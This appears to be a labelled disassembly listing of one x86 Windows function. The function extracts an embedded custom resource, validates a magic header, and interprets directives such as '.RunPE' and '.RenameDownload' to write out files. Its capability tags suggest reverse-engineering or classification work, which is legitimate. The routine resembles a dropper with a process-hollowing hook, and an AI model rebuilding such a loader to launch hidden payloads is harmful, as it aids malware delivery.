Function at 0x416d10
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, eax
test esi, esi
jne 0x416d3f
push 0x10
push str.Error
push str.Failed_to_get_module_handle____
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push edi
push str.Custom
push 0x78
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x416d6f
push 0x10
push str.Error
push str.Failed_to_find_the_custom_resources____
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x416d96
push 0x10
push str.Error
push str.Failed_to_load_custom_resource____
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
jne 0x416dc0
push 0x10
push str.Error
push str.Failed_to_lock_custom_resource____
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
pop ebx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
test esi, esi
jne 0x416dea
push 0x10
push str.Error
push str.Invalid_resources_size____
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
pop ebx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
mov dword [ebp - 0x18], edi
test edi, edi
jne 0x416e18
push 0x10
push str.Error
push str.Not_enough_memory____
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
pop ebx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push esi
push ebx
push edi
call fcn.00422e00
add esp, 0xc
cmp dword [edi], 0xefbeadde
je 0x416e4f
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push 0x10
push str.Error
push str.Invalid_resources____
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
pop ebx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
lea esi, [edi + 4]
mov dword [0x4b24d4], 0
cmp word [esi], 0
je 0x416f24
mov eax, dword [str..OnSCOnly]
xor ebx, ebx
mov dword [ebp - 0xc], ebx
cmp word [eax], bx
je 0x4171e4
mov eax, 0x4af520
mov edi, edi
mov edi, dword [eax]
mov ecx, edi
mov eax, esi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x416eac
test dx, dx
je 0x416ea8
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x416eac
add eax, 4
add ecx, 4
test dx, dx
jne 0x416e86
xor eax, eax
jmp 0x416eb1
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4171c2
mov eax, edi
lea edx, [eax + 2]
mov edi, edi
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x416ec0
sub eax, edx
sar eax, 1
lea esi, [esi + eax*2 + 2]
mov dword [ebp - 8], esi
mov ecx, str..OnSCOnly
mov eax, edi
lea ecx, [ecx]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x416f06
test dx, dx
je 0x416f02
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x416f06
add eax, 4
add ecx, 4
test dx, dx
jne 0x416ee0
xor eax, eax
jmp 0x416f0b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x416f57
call fcn.00416c00
dec eax
neg eax
sbb eax, eax
neg eax
je 0x4171c2
mov edi, dword [ebp - 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [0x4b24d4]
test eax, eax
je 0x416f4e
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
lea ebx, [ebx]
push 0x64
call esi
mov ecx, dword [0x4b24d4]
test ecx, ecx
jne 0x416f40
pop ebx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, str..RenameDownload
mov eax, edi
mov edi, edi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x416f86
test dx, dx
je 0x416f82
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x416f86
add eax, 4
add ecx, 4
test dx, dx
jne 0x416f60
xor eax, eax
jmp 0x416f8b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x41713c
mov ecx, 0x436218
mov eax, edi
lea ebx, [ebx]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x416fc6
test dx, dx
je 0x416fc2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x416fc6
add eax, 4
add ecx, 4
test dx, dx
jne 0x416fa0
xor eax, eax
jmp 0x416fcb
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x41713c
mov ecx, str..RunPE
mov eax, edi
lea ebx, [ebx]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x417006
test dx, dx
je 0x417002
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x417006
add eax, 4
add ecx, 4
test dx, dx
jne 0x416fe0
xor eax, eax
jmp 0x41700b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4170e8
mov dword [ebp - 0x1c], eax
cmp dword [esi + 4], 0xffffffff
mov dword [ebp - 0x10], eax
lea eax, [esi + 4]
je 0x4170d6
mov al, byte [eax]
mov edx, dword [esi]
mov ecx, dword [esi + 0xc]
and al, 1
add dword [ebp - 0x10], edx
mov byte [ebp - 1], al
lea eax, [esi + 0x10]
mov dword [ebp - 0x14], ecx
lea edx, [eax + 2]
mov edi, edi
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x417040
sub eax, edx
sar eax, 1
lea esi, [esi + eax*2 + 0x12]
mov eax, esi
lea edx, [eax + 2]
jmp 0x417060
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x417060
push 0
push 0x80
push 2
push 0
push 1
sub eax, edx
push 0x40000000
sar eax, 1
push esi
lea ebx, [eax + eax + 2]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x4170af
mov ecx, dword [ebp - 0x14]
push 0
lea eax, [ebp - 0x1c]
push eax
push ecx
lea edx, [ebx + esi]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [ebp - 1], 0
je 0x4170c4
mov eax, dword [ebp - 0xc]
push esi
push eax
mov edi, ebx
call fcn.00416b70
add esp, 8
add ebx, dword [ebp - 0x14]
add esi, ebx
cmp dword [esi + 4], 0xffffffff
lea eax, [esi + 4]
jne 0x417026
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x10]
lea ecx, [edx + eax + 0x12]
mov dword [ebp - 8], ecx
jmp 0x4171bf
mov ecx, 0x4361ec
mov eax, edi
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x417116
test dx, dx
je 0x417112
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x417116
add eax, 4
add ecx, 4
test dx, dx
jne 0x4170f0
xor eax, eax
jmp 0x41711b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x41712a
mov edx, dword [esi]
lea esi, [esi + edx + 6]
jmp 0x4171c2
push 0
push ebx
xor edi, edi
call fcn.00416b70
add esp, 8
jmp 0x4171c2
mov eax, dword [ebp - 8]
xor ebx, ebx
cmp word [eax], bx
je 0x4171bb
mov edx, dword [ebp - 8]
xor esi, esi
mov eax, edx
cmp word [edx], si
je 0x417182
lea edi, [esi + 0xa]
movzx ecx, word [eax]
cmp ecx, 0xd
jne 0x417163
cmp word [eax + 2], di
je 0x417174
test cx, cx
je 0x417174
add eax, 2
inc esi
cmp word [eax], 0
jne 0x417155
jmp 0x417182
xor ebx, ebx
cmp word [eax], bx
setne bl
inc ebx
xor ecx, ecx
mov word [eax], cx
mov eax, edx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x417187
sub eax, edx
mov edx, dword [ebp - 8]
sar eax, 1
lea edi, [eax + eax + 2]
mov eax, dword [ebp - 0xc]
push edx
push eax
call fcn.00416b70
mov ecx, dword [ebp - 8]
add esi, ebx
lea eax, [ecx + esi*2]
add esp, 8
cmp word [eax], 0
mov dword [ebp - 8], eax
jne 0x417146
add dword [ebp - 8], 2
mov esi, dword [ebp - 8]
mov ebx, dword [ebp - 0xc]
inc ebx
mov edx, dword [ebx*8 + 0x4af520]
cmp word [edx], 0
lea eax, [ebx*8 + 0x4af520]
mov dword [ebp - 0xc], ebx
jne 0x416e80
mov edi, dword [ebp - 0x18]
cmp word [esi], 0
jne 0x416e66
jmp 0x416f24